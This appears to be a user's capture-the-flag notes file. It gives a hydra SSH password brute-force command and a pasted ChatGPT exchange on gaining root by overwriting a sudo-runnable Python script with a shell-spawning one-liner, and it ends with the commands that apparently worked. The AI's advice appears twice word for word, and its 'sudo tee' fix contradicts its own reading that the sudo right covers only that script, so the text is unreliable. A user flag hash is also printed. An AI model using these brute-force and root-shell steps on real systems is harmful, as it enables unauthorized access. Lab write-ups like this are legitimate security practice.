-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhydra
166 lines (127 loc) · 4.54 KB
/
hydra
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
hydra -l "target_user" -P /usr/share/wordlists/rockyou.txt -t 4 ssh:"target_ip_address"
once password found
ssh "target_user"@"target_ip_address"
You’ve successfully logged in as meliodas, retrieved the user.txt flag, and found an interesting privilege escalation vector. Here’s how to proceed:
1. Review sudo Permissions:
The sudo -l output shows that meliodas can execute any Python script named /home/meliodas/bak.py as root without a password. This can be exploited to achieve privilege escalation.
2. Inspect bak.py:
Examine the contents of the bak.py file to understand its function:
bash
Copy code
cat /home/meliodas/bak.py
3. Modify or Replace bak.py:
Since you have permission to execute the script with sudo, you can modify or replace it to spawn a root shell. Here’s how:
(a) Backup the Original Script:
bash
Copy code
cp /home/meliodas/bak.py /home/meliodas/bak.py.bak
(b) Edit the Script:
Overwrite the bak.py file to spawn a root shell:
bash
Copy code
echo "import os; os.system('/bin/bash')" > /home/meliodas/bak.py
4. Execute the Modified Script:
Run the script as root using sudo:
bash
Copy code
sudo /usr/bin/python /home/meliodas/bak.py
This should drop you into a root shell.
5. Retrieve the root.txt Flag:
Once in the root shell:
bash
Copy code
cat /root/root.txt
6. Restore the Original Script (Optional):
If needed, restore the original bak.py script:
bash
Copy code
mv /home/meliodas/bak.py.bak /home/meliodas/bak.py
Summary:
user.txt: 6d488cbb3f111d135722c33cb635f4ec
root.txt: Retrieve this after escalating privileges and accessing /root/root.txt.
1. Review sudo Permissions:
The sudo -l output shows that meliodas can execute any Python script named /home/meliodas/bak.py as root without a password. This can be exploited to achieve privilege escalation.
2. Inspect bak.py:
Examine the contents of the bak.py file to understand its function:
bash
Copy code
cat /home/meliodas/bak.py
3. Modify or Replace bak.py:
Since you have permission to execute the script with sudo, you can modify or replace it to spawn a root shell. Here’s how:
(a) Backup the Original Script:
bash
Copy code
cp /home/meliodas/bak.py /home/meliodas/bak.py.bak
(b) Edit the Script:
Overwrite the bak.py file to spawn a root shell:
bash
Copy code
echo "import os; os.system('/bin/bash')" > /home/meliodas/bak.py
4. Execute the Modified Script:
Run the script as root using sudo:
bash
Copy code
sudo /usr/bin/python /home/meliodas/bak.py
This should drop you into a root shell.
5. Retrieve the root.txt Flag:
Once in the root shell:
bash
Copy code
cat /root/root.txt
6. Restore the Original Script (Optional):
If needed, restore the original bak.py script:
bash
Copy code
mv /home/meliodas/bak.py.bak /home/meliodas/bak.py
Summary:
user.txt: 6d488cbb3f111d135722c33cb635f4ec
root.txt: Retrieve this after escalating privileges and accessing /root/root.txt.
Let me know if you need further guidance!
You said:
meliodas@ubuntu:~$ cat /home/meliodas/bak.py
#!/usr/bin/env python
import os
import zipfile
def zipdir(path, ziph):
for root, dirs, files in os.walk(path):
for file in files:
ziph.write(os.path.join(root, file))
if __name__ == '__main__':
zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
zipdir('/var/www/html', zipf)
zipf.close()
meliodas@ubuntu:~$ echo "import os; os.system('/bin/bash')" > /home/meliodas/bak.py
-bash: /home/meliodas/bak.py: Permission denied
meliodas@ubuntu:~$
meliodas@ubuntu:~$
meliodas@ubuntu:~$
ChatGPT said:
ChatGPT
The Permission denied error indicates that you don't have write permissions on the bak.py file. Since you have sudo permissions to execute bak.py as root, you can modify it indirectly by using sudo. Here's how you can proceed:
Steps to Escalate Privileges:
1. Overwrite bak.py Using sudo:
Use the following command to overwrite the file with your malicious payload:
bash
Copy code
echo "import os; os.system('/bin/bash')" | sudo tee /home/meliodas/bak.py
2. Run the Script as Root:
Execute the modified bak.py script using sudo:
bash
Copy code
sudo /usr/bin/python /home/meliodas/bak.py
This should spawn a root shell.
3. Access root.txt:
Once you’re in the root shell, retrieve the root.txt flag:
bash
Copy code
cat /root/root.txt
4. Restore the Original Script (Optional):
If required, restore the original bak.py:
bash
Copy code
sudo mv /home/meliodas/bak.py.bak /home/meliodas/bak.py
Let me know how it goes or if you encounter any other issues!
##
rm /home/meliodas/bak.py
echo ‘import pty; pty.spawn(“/bin/sh”)’ > /home/meliodas/bak.py
sudo python /home/meliodas/bak.py